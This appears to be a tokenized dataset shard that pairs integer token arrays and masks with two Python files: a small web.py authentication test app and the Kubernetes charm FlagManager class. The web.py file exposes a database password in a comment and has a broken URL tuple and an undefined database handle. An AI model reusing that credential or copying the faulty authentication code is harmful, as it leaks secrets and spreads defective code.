1284,
63,
1657,
267,
291,
14,
1659,
63,
2487,
275,
6369,
63,
2487,
199,
199,
533,
18003,
3005,
2390,
8,
2390,
304,
272,
986,
199,
199,
3,
22467,
1298,
14,
199,
199,
533,
8271,
3162,
2390,
8,
2390,
304,
272,
347,
636,
826,
721,
277,
12,
1343,
63,
1657,
29,
403,
12,
1284,
63,
1657,
29,
403,
12,
2644,
29,
403,
304,
267,
291,
14,
928,
63,
1657,
275,
1343,
63,
1657,
267,
291,
14,
500,
63,
1657,
275,
1284,
63,
1657,
267,
291,
14,
2991,
275,
2644,
199,
199,
533,
8271,
3005,
2390,
8,
2390,
304,
272,
986,
199,
199,
533,
7543,
3162,
2390,
8,
2390,
304,
272,
347,
636,
826,
721,
277,
12,
1343,
63,
1657,
29,
403,
12,
1284,
63,
1657,
29,
403,
12,
288,
5027,
29,
403,
12,
1015,
29,
403,
12,
3762,
29,
403,
304,
267,
291,
14,
928,
63,
1657,
275,
1343,
63,
1657,
267,
291,
14,
500,
63,
1657,
275,
1284,
63,
1657,
267,
291,
14,
10306,
275,
5027,
267,
291,
14,
1023,
275,
1015,
267,
291,
14,
2969,
275,
3762,
199,
199,
533,
7543,
3005,
2390,
8,
2390,
304,
272,
347,
636,
826,
721,
277,
12,
1343,
63,
1657,
29,
403,
12,
1284,
63,
1657,
29,
403,
12,
288,
5027,
29,
403,
304,
267,
291,
14,
928,
63,
1657,
275,
1343,
63,
1657,
267,
291,
14,
500,
63,
1657,
275,
1284,
63,
1657,
267,
291,
14,
10306,
275,
5027,
199,
199,
533,
24777,
2390,
8,
1716,
2390,
304,
272,
986,
199,
199,
533,
24289,
2390,
8,
1716,
2390,
304,
272,
347,
636,
826,
721,
277,
12,
12514,
12,
1947,
12,
9227,
12,
574,
12,
288,
1343,
63,
1657,
29,
403,
12,
1284,
63,
1657,
29,
403,
12,
3449,
29,
403,
304,
267,
291,
14,
11498,
275,
12514,
267,
291,
14,
1450,
275,
1947,
267,
291,
14,
11886,
275,
9227,
267,
291,
14,
585,
275,
574,
267,
291,
14,
928,
63,
1657,
275,
1343,
63,
1657,
267,
291,
14,
500,
63,
1657,
275,
1284,
63,
1657,
267,
291,
14,
2487,
275,
3449,
199,
199,
533,
10975,
3162,
2390,
8,
7768,
3162,
2390,
304,
272,
986,
199,
199,
533,
10975,
3005,
2390,
8,
7768,
3005,
2390,
304,
272,
986,
199,
199,
533,
12340,
3162,
2390,
8,
7768,
3162,
2390,
304,
272,
986,
199,
199,
533,
12340,
3005,
2390,
8,
7768,
3005,
2390,
304,
272,
986,
421,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
0
] |
[
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1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0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0
] |
fedallah/scrapieweb
|
scrapietest.py
|
1
|
1530
|
#!/usr/bin/env python
import web
import time
import hashlib
sha2 = hashlib.sha256()
# db = web.database(dbn='postgres', db='scrapieweb', user='postgres', pw='fuddruckers')
# def uservalidate(username):
# usernum = db.query("SELECT COUNT(*) FROM auth WHERE username=$uid", vars="username")
# return usernum[0]
urls = (
'/', 'index'
'/checkauth', 'CheckAuth'
)
# passval = web.form.regexp(r".{25,60}", 'must be between 25 and 60 characters')
# login_form = web.form.Form(
# web.form.Textbox("username", description="Username"),
# web.form.Password("password", passval, description="Password"),
# web.form.Button("submit", type="submit", description="Login"),
# validators = [
# web.form.Validator("User already exists; please select a different username.", uservalidate("username") == 0)
# ]
#)
app = web.application(urls, globals())
web.config.debug = True
class CheckAuth:
def GET(self):
try:
thism = web.cookies().isauth
except:
return "not authorized"
else:
try:
thismdb = db.select('auth', what="expire,isauth,secsvalid", vars=thism, where="isauth = $isauth", _test=True)
except:
return "not authorized"
else:
if thismdb[1]:
db.delete('auth', where='isauth = $isauth', vars=thism, _test=True)
return "not authorized"
elif thismdb[0].expire < time.time():
return "not authorized"
else:
return "authorized"
class index:
def GET(self, testvar):
if not testvar:
testvar = 'Bob'
return 'hello, ' + testvar
if __name__ == "__main__":
app.run()
|
agpl-3.0
|
[
3381,
2647,
15,
1393,
15,
1813,
2366,
199,
199,
646,
3330,
199,
646,
900,
199,
646,
8337,
199,
199,
4835,
18,
275,
8337,
14,
4835,
3912,
342,
199,
199,
3,
1592,
275,
3330,
14,
4659,
8,
697,
78,
534,
10675,
297,
1592,
534,
12865,
1038,
546,
2871,
297,
922,
534,
10675,
297,
19206,
534,
70,
8615,
6558,
346,
1192,
358,
199,
199,
3,
347,
922,
3502,
8,
2473,
304,
199,
3,
198,
751,
1507,
275,
1592,
14,
1131,
480,
4859,
24903,
21565,
4442,
1790,
6038,
3434,
28617,
1535,
401,
6802,
628,
2473,
531,
198,
199,
3,
198,
1107,
922,
1507,
59,
16,
61,
507,
199,
3603,
275,
334,
199,
198,
7,
3678,
283,
1080,
7,
199,
198,
9807,
1074,
1178,
297,
283,
1799,
2817,
7,
199,
9,
199,
199,
3,
986,
637,
275,
3330,
14,
964,
14,
11191,
8,
82,
1674,
91,
821,
12,
2259,
10750,
283,
7790,
506,
3382,
5661,
436,
5212,
4110,
358,
199,
199,
3,
4676,
63,
964,
275,
3330,
14,
964,
14,
2821,
8,
199,
3,
198,
2520,
14,
964,
14,
1872,
1977,
480,
2473,
401,
1369,
628,
13355,
1288,
199,
3,
198,
2520,
14,
964,
14,
6139,
480,
2060,
401,
986,
637,
12,
1369,
628,
6139,
1288,
199,
3,
198,
2520,
14,
964,
14,
4259,
480,
7275,
401,
730,
628,
7275,
401,
1369,
628,
8880,
1288,
199,
3,
198,
11346,
275,
359,
199,
3,
198,
198,
2520,
14,
964,
14,
8640,
480,
1899,
2575,
3495,
27,
8749,
3504,
282,
3365,
3434,
4765,
922,
3502,
480,
2473,
531,
508,
378,
9,
199,
3,
198,
61,
199,
3,
9,
199,
199,
571,
275,
3330,
14,
3578,
8,
3603,
12,
7992,
1012,
199,
199,
2520,
14,
888,
14,
1757,
275,
715,
199,
199,
533,
2670,
2817,
26,
199,
198,
318,
9576,
8,
277,
304,
507,
198,
893,
26,
686,
198,
3749,
77,
275,
3330,
14,
7792,
1252,
374,
1178,
507,
198,
2590,
26,
686,
198,
1107,
298,
1397,
18788,
2,
507,
198,
2836,
26,
686,
198,
893,
26,
1585,
198,
3749,
77,
697,
275,
1592,
14,
2416,
360,
1178,
297,
4052,
628,
14691,
12,
374,
1178,
12,
4855,
1078,
401,
6802,
29,
3749,
77,
12,
2382,
628,
374,
1178,
275,
2672,
374,
1178,
401,
485,
396,
29,
549,
9,
686,
198,
2590,
26,
1585,
198,
1107,
298,
1397,
18788,
2,
686,
198,
2836,
26,
1585,
198,
692,
642,
77,
697,
59,
17,
2189,
1871,
198,
697,
14,
1807,
360,
1178,
297,
2382,
534,
374,
1178,
275,
2672,
374,
1178,
297,
6802,
29,
3749,
77,
12,
485,
396,
29,
549,
9,
1871,
198,
1107,
298,
1397,
18788,
2,
1585,
198,
4164,
642,
77,
697,
59,
16,
1055,
14691,
665,
900,
14,
521,
837,
1871,
198,
1107,
298,
1397,
18788,
2,
1585,
198,
2836,
26,
1871,
198,
1107,
298,
11497,
2,
199,
533,
1478,
26,
199,
198,
318,
9576,
8,
277,
12,
511,
1391,
304,
507,
198,
692,
440,
511,
1391,
26,
686,
198,
396,
1391,
275,
283,
22593,
7,
507,
198,
1107,
283,
5006,
12,
283,
435,
511,
1391,
421,
199,
692,
636,
354,
363,
508,
4396,
973,
5727,
199,
198,
571,
14,
1065,
342,
421,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768
] |
[
2647,
15,
1393,
15,
1813,
2366,
199,
199,
646,
3330,
199,
646,
900,
199,
646,
8337,
199,
199,
4835,
18,
275,
8337,
14,
4835,
3912,
342,
199,
199,
3,
1592,
275,
3330,
14,
4659,
8,
697,
78,
534,
10675,
297,
1592,
534,
12865,
1038,
546,
2871,
297,
922,
534,
10675,
297,
19206,
534,
70,
8615,
6558,
346,
1192,
358,
199,
199,
3,
347,
922,
3502,
8,
2473,
304,
199,
3,
198,
751,
1507,
275,
1592,
14,
1131,
480,
4859,
24903,
21565,
4442,
1790,
6038,
3434,
28617,
1535,
401,
6802,
628,
2473,
531,
198,
199,
3,
198,
1107,
922,
1507,
59,
16,
61,
507,
199,
3603,
275,
334,
199,
198,
7,
3678,
283,
1080,
7,
199,
198,
9807,
1074,
1178,
297,
283,
1799,
2817,
7,
199,
9,
199,
199,
3,
986,
637,
275,
3330,
14,
964,
14,
11191,
8,
82,
1674,
91,
821,
12,
2259,
10750,
283,
7790,
506,
3382,
5661,
436,
5212,
4110,
358,
199,
199,
3,
4676,
63,
964,
275,
3330,
14,
964,
14,
2821,
8,
199,
3,
198,
2520,
14,
964,
14,
1872,
1977,
480,
2473,
401,
1369,
628,
13355,
1288,
199,
3,
198,
2520,
14,
964,
14,
6139,
480,
2060,
401,
986,
637,
12,
1369,
628,
6139,
1288,
199,
3,
198,
2520,
14,
964,
14,
4259,
480,
7275,
401,
730,
628,
7275,
401,
1369,
628,
8880,
1288,
199,
3,
198,
11346,
275,
359,
199,
3,
198,
198,
2520,
14,
964,
14,
8640,
480,
1899,
2575,
3495,
27,
8749,
3504,
282,
3365,
3434,
4765,
922,
3502,
480,
2473,
531,
508,
378,
9,
199,
3,
198,
61,
199,
3,
9,
199,
199,
571,
275,
3330,
14,
3578,
8,
3603,
12,
7992,
1012,
199,
199,
2520,
14,
888,
14,
1757,
275,
715,
199,
199,
533,
2670,
2817,
26,
199,
198,
318,
9576,
8,
277,
304,
507,
198,
893,
26,
686,
198,
3749,
77,
275,
3330,
14,
7792,
1252,
374,
1178,
507,
198,
2590,
26,
686,
198,
1107,
298,
1397,
18788,
2,
507,
198,
2836,
26,
686,
198,
893,
26,
1585,
198,
3749,
77,
697,
275,
1592,
14,
2416,
360,
1178,
297,
4052,
628,
14691,
12,
374,
1178,
12,
4855,
1078,
401,
6802,
29,
3749,
77,
12,
2382,
628,
374,
1178,
275,
2672,
374,
1178,
401,
485,
396,
29,
549,
9,
686,
198,
2590,
26,
1585,
198,
1107,
298,
1397,
18788,
2,
686,
198,
2836,
26,
1585,
198,
692,
642,
77,
697,
59,
17,
2189,
1871,
198,
697,
14,
1807,
360,
1178,
297,
2382,
534,
374,
1178,
275,
2672,
374,
1178,
297,
6802,
29,
3749,
77,
12,
485,
396,
29,
549,
9,
1871,
198,
1107,
298,
1397,
18788,
2,
1585,
198,
4164,
642,
77,
697,
59,
16,
1055,
14691,
665,
900,
14,
521,
837,
1871,
198,
1107,
298,
1397,
18788,
2,
1585,
198,
2836,
26,
1871,
198,
1107,
298,
11497,
2,
199,
533,
1478,
26,
199,
198,
318,
9576,
8,
277,
12,
511,
1391,
304,
507,
198,
692,
440,
511,
1391,
26,
686,
198,
396,
1391,
275,
283,
22593,
7,
507,
198,
1107,
283,
5006,
12,
283,
435,
511,
1391,
421,
199,
692,
636,
354,
363,
508,
4396,
973,
5727,
199,
198,
571,
14,
1065,
342,
421,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
0
] |
[
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1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0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0
] |
Crassirostris/kubernetes
|
cluster/juju/layers/kubernetes-worker/lib/charms/kubernetes/flagmanager.py
|
290
|
4961
|
#!/usr/bin/env python
# Copyright 2015 The Kubernetes Authors.
#
# Licensed under the Apache License, Version 2.0 (the "License");
# you may not use this file except in compliance with the License.
# You may obtain a copy of the License at
#
# http://www.apache.org/licenses/LICENSE-2.0
#
# Unless required by applicable law or agreed to in writing, software
# distributed under the License is distributed on an "AS IS" BASIS,
# WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.
# See the License for the specific language governing permissions and
# limitations under the License.
from charmhelpers.core import unitdata
class FlagManager:
'''
FlagManager - A Python class for managing the flags to pass to an
application without remembering what's been set previously.
This is a blind class assuming the operator knows what they are doing.
Each instance of this class should be initialized with the intended
application to manage flags. Flags are then appended to a data-structure
and cached in unitdata for later recall.
THe underlying data-provider is backed by a SQLITE database on each unit,
tracking the dictionary, provided from the 'charmhelpers' python package.
Summary:
opts = FlagManager('docker')
opts.add('bip', '192.168.22.2')
opts.to_s()
'''
def __init__(self, daemon, opts_path=None):
self.db = unitdata.kv()
self.daemon = daemon
if not self.db.get(daemon):
self.data = {}
else:
self.data = self.db.get(daemon)
def __save(self):
self.db.set(self.daemon, self.data)
def add(self, key, value, strict=False):
'''
Adds data to the map of values for the DockerOpts file.
Supports single values, or "multiopt variables". If you
have a flag only option, like --tlsverify, set the value
to None. To preserve the exact value, pass strict
eg:
opts.add('label', 'foo')
opts.add('label', 'foo, bar, baz')
opts.add('flagonly', None)
opts.add('cluster-store', 'consul://a:4001,b:4001,c:4001/swarm',
strict=True)
'''
if strict:
self.data['{}-strict'.format(key)] = value
self.__save()
return
if value:
values = [x.strip() for x in value.split(',')]
# handle updates
if key in self.data and self.data[key] is not None:
item_data = self.data[key]
for c in values:
c = c.strip()
if c not in item_data:
item_data.append(c)
self.data[key] = item_data
else:
# handle new
self.data[key] = values
else:
# handle flagonly
self.data[key] = None
self.__save()
def remove(self, key, value):
'''
Remove a flag value from the DockerOpts manager
Assuming the data is currently {'foo': ['bar', 'baz']}
d.remove('foo', 'bar')
> {'foo': ['baz']}
:params key:
:params value:
'''
self.data[key].remove(value)
self.__save()
def destroy(self, key, strict=False):
'''
Destructively remove all values and key from the FlagManager
Assuming the data is currently {'foo': ['bar', 'baz']}
d.wipe('foo')
>{}
:params key:
:params strict:
'''
try:
if strict:
self.data.pop('{}-strict'.format(key))
else:
self.data.pop(key)
self.__save()
except KeyError:
pass
def get(self, key, default=None):
"""Return the value for ``key``, or the default if ``key`` doesn't exist.
"""
return self.data.get(key, default)
def destroy_all(self):
'''
Destructively removes all data from the FlagManager.
'''
self.data.clear()
self.__save()
def to_s(self):
'''
Render the flags to a single string, prepared for the Docker
Defaults file. Typically in /etc/default/docker
d.to_s()
> "--foo=bar --foo=baz"
'''
flags = []
for key in self.data:
if self.data[key] is None:
# handle flagonly
flags.append("{}".format(key))
elif '-strict' in key:
# handle strict values, and do it in 2 steps.
# If we rstrip -strict it strips a tailing s
proper_key = key.rstrip('strict').rstrip('-')
flags.append("{}={}".format(proper_key, self.data[key]))
else:
# handle multiopt and typical flags
for item in self.data[key]:
flags.append("{}={}".format(key, item))
return ' '.join(flags)
|
apache-2.0
|
[
3381,
2647,
15,
1393,
15,
1813,
2366,
199,
199,
3,
1898,
6900,
710,
28723,
6642,
14,
199,
3,
199,
3,
3909,
1334,
314,
3668,
844,
12,
3394,
499,
14,
16,
334,
1589,
298,
3761,
3547,
199,
3,
1265,
1443,
440,
675,
642,
570,
871,
315,
4151,
543,
314,
844,
14,
199,
3,
2047,
1443,
3332,
282,
1331,
402,
314,
844,
737,
199,
3,
199,
3,
258,
1455,
921,
1544,
14,
3796,
14,
1308,
15,
2383,
15,
3961,
13,
18,
14,
16,
199,
3,
199,
3,
4158,
1415,
701,
3964,
4179,
503,
4193,
370,
315,
3575,
12,
2032,
199,
3,
